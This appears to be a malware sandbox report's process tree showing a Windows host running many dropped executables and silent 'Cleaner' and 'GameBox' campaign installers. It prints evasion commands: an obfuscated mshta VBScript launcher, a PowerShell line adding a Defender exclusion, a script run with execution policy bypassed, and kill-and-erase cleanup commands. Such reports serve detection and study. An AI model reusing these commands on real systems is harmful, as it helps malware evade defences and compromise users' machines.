        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eyyvydhm.qzo\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:8744
        
        C:\Users\Admin\AppData\Local\Temp\eyyvydhm.qzo\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\eyyvydhm.qzo\GcleanerEU.exe /eufive
        10⤵
        
        PID:7152
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\eyyvydhm.qzo\GcleanerEU.exe" & exit
        11⤵
        
        PID:5900
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:5392
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3y0zxfvq.wxs\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:7636
        
        C:\Users\Admin\AppData\Local\Temp\3y0zxfvq.wxs\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\3y0zxfvq.wxs\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:6596
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\3y0zxfvq.wxs\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\3y0zxfvq.wxs\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579446 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        11⤵
        
        PID:6656
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\do4wp41c.muy\anyname.exe & exit
        9⤵
        
        PID:8592
        
        C:\Users\Admin\AppData\Local\Temp\do4wp41c.muy\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\do4wp41c.muy\anyname.exe
        10⤵
        
        PID:9336
        
        C:\Users\Admin\AppData\Local\Temp\do4wp41c.muy\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\do4wp41c.muy\anyname.exe" -q
        11⤵
        
        PID:9628
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nxykzi4i.bdu\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:9060
        
        C:\Users\Admin\AppData\Local\Temp\nxykzi4i.bdu\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\nxykzi4i.bdu\gcleaner.exe /mixfive
        10⤵
        
        PID:9560
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\nxykzi4i.bdu\gcleaner.exe" & exit
        11⤵
        
        PID:10120
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:10020
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2wf5ofey.gs1\autosubplayer.exe /S & exit
        9⤵
        
        PID:9264
    - - C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
        5⤵
        
        PID:6124
      - C:\Users\Admin\Documents\fcVKiBJc1kv5QaCcDnx5UUni.exe
        
        "C:\Users\Admin\Documents\fcVKiBJc1kv5QaCcDnx5UUni.exe"
        6⤵
        
        PID:3476
      - C:\Users\Admin\Documents\5z7ht6LQ_33V58TBQuqR4tVT.exe
        
        "C:\Users\Admin\Documents\5z7ht6LQ_33V58TBQuqR4tVT.exe"
        6⤵
        
        PID:6724
        
        C:\Users\Admin\Documents\5z7ht6LQ_33V58TBQuqR4tVT.exe
        
        "C:\Users\Admin\Documents\5z7ht6LQ_33V58TBQuqR4tVT.exe"
        7⤵
        
        PID:9180
      - C:\Users\Admin\Documents\1yjpWfybHlI2jGK7fFID3t03.exe
        
        "C:\Users\Admin\Documents\1yjpWfybHlI2jGK7fFID3t03.exe"
        6⤵
        
        PID:4956
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        Executes dropped EXE
        
        PID:4232
      - C:\Users\Admin\Documents\NLWg_gnA8_4y203TOkZCkb2G.exe
        
        "C:\Users\Admin\Documents\NLWg_gnA8_4y203TOkZCkb2G.exe"
        6⤵
        
        PID:2200
      - C:\Users\Admin\Documents\UD5mq_sradaZBF_Zw8SQfdAX.exe
        
        "C:\Users\Admin\Documents\UD5mq_sradaZBF_Zw8SQfdAX.exe"
        6⤵
        
        PID:3004
      - C:\Users\Admin\Documents\BiPU8GdVWYKzvpyuF6CsPRhI.exe
        
        "C:\Users\Admin\Documents\BiPU8GdVWYKzvpyuF6CsPRhI.exe"
        6⤵
        
        PID:4584
      - C:\Users\Admin\Documents\L3Gg35y6UiLvGCtmb45IzHA5.exe
        
        "C:\Users\Admin\Documents\L3Gg35y6UiLvGCtmb45IzHA5.exe"
        6⤵
        
        PID:4828
        
        C:\Users\Admin\Documents\L3Gg35y6UiLvGCtmb45IzHA5.exe
        
        "C:\Users\Admin\Documents\L3Gg35y6UiLvGCtmb45IzHA5.exe"
        7⤵
        
        PID:10052
      - C:\Users\Admin\Documents\zocAftz8zjpiyvbSR3KiCISe.exe
        
        "C:\Users\Admin\Documents\zocAftz8zjpiyvbSR3KiCISe.exe"
        6⤵
        
        PID:6012
      - C:\Users\Admin\Documents\DrGPHBfnZ7jg04Sbml6Howvt.exe
        
        "C:\Users\Admin\Documents\DrGPHBfnZ7jg04Sbml6Howvt.exe"
        6⤵
        
        PID:4932
        
        C:\Users\Admin\AppData\Roaming\7706458.exe
        
        "C:\Users\Admin\AppData\Roaming\7706458.exe"
        7⤵
        
        PID:6416
        
        C:\Users\Admin\AppData\Roaming\6755674.exe
        
        "C:\Users\Admin\AppData\Roaming\6755674.exe"
        7⤵
        
        PID:1876
        
        C:\Users\Admin\AppData\Roaming\5866048.exe
        
        "C:\Users\Admin\AppData\Roaming\5866048.exe"
        7⤵
        
        PID:4392
        
        C:\Users\Admin\AppData\Roaming\8710073.exe
        
        "C:\Users\Admin\AppData\Roaming\8710073.exe"
        7⤵
        
        PID:6508
      - C:\Users\Admin\Documents\3hnuj1wyi4FBYkCT4Z63Ci43.exe
        
        "C:\Users\Admin\Documents\3hnuj1wyi4FBYkCT4Z63Ci43.exe"
        6⤵
        
        PID:7224
      - C:\Users\Admin\Documents\nZvo2eXYFCByaVvg3vjsq1qo.exe
        
        "C:\Users\Admin\Documents\nZvo2eXYFCByaVvg3vjsq1qo.exe"
        6⤵
        
        PID:7260
        
        C:\Users\Admin\Documents\nZvo2eXYFCByaVvg3vjsq1qo.exe
        
        C:\Users\Admin\Documents\nZvo2eXYFCByaVvg3vjsq1qo.exe
        7⤵
        
        PID:6052
      - C:\Users\Admin\Documents\pguLyFx_nw9EcGx8GECqRTgM.exe
        
        "C:\Users\Admin\Documents\pguLyFx_nw9EcGx8GECqRTgM.exe"
        6⤵
        
        PID:7180
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\pguLyFx_nw9EcGx8GECqRTgM.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\pguLyFx_nw9EcGx8GECqRTgM.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
        7⤵
        
        PID:5476
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\pguLyFx_nw9EcGx8GECqRTgM.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\pguLyFx_nw9EcGx8GECqRTgM.exe") do taskkill -IM "%~nXW" -f
        8⤵
        
        PID:6100
        
        C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe
        
        WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9
        9⤵
        
        PID:5136
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
        10⤵
        
        PID:6152
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 "=="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe") do taskkill -IM "%~nXW" -f
        11⤵
        
        PID:8396
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE
        10⤵
        
        PID:5780
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -IM "pguLyFx_nw9EcGx8GECqRTgM.exe" -f
        9⤵
        Kills process with taskkill
        
        PID:7928
      - C:\Users\Admin\Documents\Di4zeQnWLL6Rf8umMJSN8f_I.exe
        
        "C:\Users\Admin\Documents\Di4zeQnWLL6Rf8umMJSN8f_I.exe"
        6⤵
        
        PID:7344
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "Di4zeQnWLL6Rf8umMJSN8f_I.exe" /f & erase "C:\Users\Admin\Documents\Di4zeQnWLL6Rf8umMJSN8f_I.exe" & exit
        7⤵
        
        PID:9076
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "Di4zeQnWLL6Rf8umMJSN8f_I.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:8300
      - C:\Users\Admin\Documents\PB5sD_UEKg8AF7rY83BtLYQW.exe
        
        "C:\Users\Admin\Documents\PB5sD_UEKg8AF7rY83BtLYQW.exe"
        6⤵
        
        PID:7376
        
        C:\Users\Admin\Documents\PB5sD_UEKg8AF7rY83BtLYQW.exe
        
        C:\Users\Admin\Documents\PB5sD_UEKg8AF7rY83BtLYQW.exe
        7⤵
        
        PID:5524
        
        C:\Users\Admin\Documents\PB5sD_UEKg8AF7rY83BtLYQW.exe
        
        C:\Users\Admin\Documents\PB5sD_UEKg8AF7rY83BtLYQW.exe
        7⤵
        
        PID:8048
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8048 -s 24
        8⤵
        Program crash
        
        PID:5416
      - C:\Users\Admin\Documents\YB0bx8jVGXQxNx8mtIsRR8uG.exe
        
        "C:\Users\Admin\Documents\YB0bx8jVGXQxNx8mtIsRR8uG.exe"
        6⤵
        
        PID:7300
        
        C:\Users\Admin\Documents\YB0bx8jVGXQxNx8mtIsRR8uG.exe
        
        "C:\Users\Admin\Documents\YB0bx8jVGXQxNx8mtIsRR8uG.exe"
        7⤵
        
        PID:6896
      - C:\Users\Admin\Documents\vHauhcj5dcd8mrt0c1o6q13O.exe
        
        "C:\Users\Admin\Documents\vHauhcj5dcd8mrt0c1o6q13O.exe"
        6⤵
        
        PID:7468
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7468 -s 484
        7⤵
        Program crash
        
        PID:8580
      - C:\Users\Admin\Documents\zhzkZ4Yy4MHGts7xk12bZK4c.exe
        
        "C:\Users\Admin\Documents\zhzkZ4Yy4MHGts7xk12bZK4c.exe"
        6⤵
        
        PID:7492
        
        C:\Users\Admin\Documents\zhzkZ4Yy4MHGts7xk12bZK4c.exe
        
        "C:\Users\Admin\Documents\zhzkZ4Yy4MHGts7xk12bZK4c.exe" -q
        7⤵
        
        PID:4460
      - C:\Users\Admin\Documents\VhPuLsB9c4ekBdHXMdjBK_HJ.exe
        
        "C:\Users\Admin\Documents\VhPuLsB9c4ekBdHXMdjBK_HJ.exe"
        6⤵
        
        PID:7544
      - C:\Users\Admin\Documents\nQ3_tJQOAjV3C5paV6Ktptxm.exe
        
        "C:\Users\Admin\Documents\nQ3_tJQOAjV3C5paV6Ktptxm.exe"
        6⤵
        
        PID:7576
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7576 -s 704
        7⤵
        Program crash
        
        PID:2176
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7576 -s 684
        7⤵
        Program crash
        
        PID:6240
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7576 -s 668
        7⤵
        Program crash
        
        PID:6340
      - C:\Users\Admin\Documents\rbb1TmZfSMfAfMCQ8nlaRtk0.exe
        
        "C:\Users\Admin\Documents\rbb1TmZfSMfAfMCQ8nlaRtk0.exe"
        6⤵
        
        PID:7668
      - C:\Users\Admin\Documents\8cpk_66xqmrIAuiYuM6VgUh0.exe
        
        "C:\Users\Admin\Documents\8cpk_66xqmrIAuiYuM6VgUh0.exe"
        6⤵
        
        PID:7708
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "8cpk_66xqmrIAuiYuM6VgUh0.exe" /f & erase "C:\Users\Admin\Documents\8cpk_66xqmrIAuiYuM6VgUh0.exe" & exit
        7⤵
        
        PID:4360
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "8cpk_66xqmrIAuiYuM6VgUh0.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:8876
      - C:\Users\Admin\Documents\XmtQHdhrOBZsvhF8e70RVOQs.exe
        
        "C:\Users\Admin\Documents\XmtQHdhrOBZsvhF8e70RVOQs.exe"
        6⤵
        
        PID:7744
      - C:\Users\Admin\Documents\cr_3WpuFDU7pkfKH_4XQe7te.exe
        
        "C:\Users\Admin\Documents\cr_3WpuFDU7pkfKH_4XQe7te.exe"
        6⤵
        
        PID:7848
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\CR_3WP~1.DLL,s C:\Users\Admin\DOCUME~1\CR_3WP~1.EXE
        7⤵
        
        PID:1992
        
        C:\Windows\SysWOW64\RUNDLL32.EXE
        
        C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\CR_3WP~1.DLL,XloEWUM=
        8⤵
        
        PID:10824
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\CR_3WP~1.DLL
        9⤵
        
        PID:7152
        
        C:\Windows\SysWOW64\RUNDLL32.EXE
        
        C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\CR_3WP~1.DLL,hyZgZTdlN0FB
        9⤵
        
        PID:10480
        
        C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 31804
        10⤵
        
        PID:10712
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        11⤵
        
        PID:10948
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmpD9BF.tmp.ps1"
        9⤵
        
        PID:10684
      - C:\Users\Admin\Documents\3FUk926azAo0hhXxaS8CKDyP.exe
        
        "C:\Users\Admin\Documents\3FUk926azAo0hhXxaS8CKDyP.exe"
        6⤵
        
        PID:7788
      - C:\Users\Admin\Documents\Ognh1JB0BpJmu2BQvFeP3mI3.exe
        
        "C:\Users\Admin\Documents\Ognh1JB0BpJmu2BQvFeP3mI3.exe"
        6⤵
        
        PID:4640
        
        C:\Users\Admin\AppData\Local\Temp\is-NVL8U.tmp\Ognh1JB0BpJmu2BQvFeP3mI3.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-NVL8U.tmp\Ognh1JB0BpJmu2BQvFeP3mI3.tmp" /SL5="$302E0,138429,56832,C:\Users\Admin\Documents\Ognh1JB0BpJmu2BQvFeP3mI3.exe"
        7⤵
        
        PID:3376
        
        C:\Users\Admin\AppData\Local\Temp\is-FIE03.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-FIE03.tmp\Setup.exe" /Verysilent
        8⤵
        
        PID:9472
        
        C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"
        9⤵
        
        PID:9692

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
PID:5380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5924

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5672

C:\ProgramData\dxhnkb\ofmebn.exe
C:\ProgramData\dxhnkb\ofmebn.exe start
1⤵
PID:5296

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:7724
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 4A9F3235AEA710A15EC3BFCD26EC4FE1 C
  2⤵
  PID:5188
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding DE8C0723FC1322327AD47A294393A3F9 C
  2⤵
  PID:6312
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding D293A4B8432FC8D92D7300AC39E74BC5
  2⤵
  PID:1000
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 49234DF0B8C50023E0761D8A2E694CDC C
  2⤵
  PID:9340
- C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"
  2⤵
  PID:9528
- - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default
    3⤵
    PID:10516
  - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
      "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"
      4⤵
      PID:2392
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1b8,0x1e8,0x7ff83b6ddec0,0x7ff83b6dded0,0x7ff83b6ddee0
        5⤵
        
        PID:10820
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1796,14388097870725097346,1209720535179340211,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2392_1600691334" --mojo-platform-channel-handle=1904 /prefetch:8
        5⤵
        
        PID:7560
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1796,14388097870725097346,1209720535179340211,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2392_1600691334" --mojo-platform-channel-handle=1888 /prefetch:8
        5⤵
        
        PID:7596
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1796,14388097870725097346,1209720535179340211,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2392_1600691334" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1824 /prefetch:2
        5⤵
        
        PID:5340
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1796,14388097870725097346,1209720535179340211,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2392_1600691334" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2496 /prefetch:1
        5⤵
        
        PID:7436
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1796,14388097870725097346,1209720535179340211,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2392_1600691334" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=1924 /prefetch:1
        5⤵
        
        PID:7676
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1796,14388097870725097346,1209720535179340211,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2392_1600691334" --mojo-platform-channel-handle=2892 /prefetch:8
        5⤵
        
        PID:11148
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1796,14388097870725097346,1209720535179340211,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2392_1600691334" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3168 /prefetch:2
        5⤵
        
        PID:10784
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1796,14388097870725097346,1209720535179340211,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2392_1600691334" --mojo-platform-channel-handle=3612 /prefetch:8
        5⤵
        
        PID:10628
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1796,14388097870725097346,1209720535179340211,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2392_1600691334" --mojo-platform-channel-handle=824 /prefetch:8
        5⤵
        
        PID:8800
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1796,14388097870725097346,1209720535179340211,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2392_1600691334" --mojo-platform-channel-handle=2144 /prefetch:8
        5⤵
        
        PID:10740
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1796,14388097870725097346,1209720535179340211,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw2392_1600691334" --mojo-platform-channel-handle=1056 /prefetch:8
        5⤵
        
        PID:8604
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_6238.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"
    3⤵
    PID:10944

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6416
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:7824

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:9072

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:5280

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:9804
- C:\Windows\SysWOW64\rundll32.exe
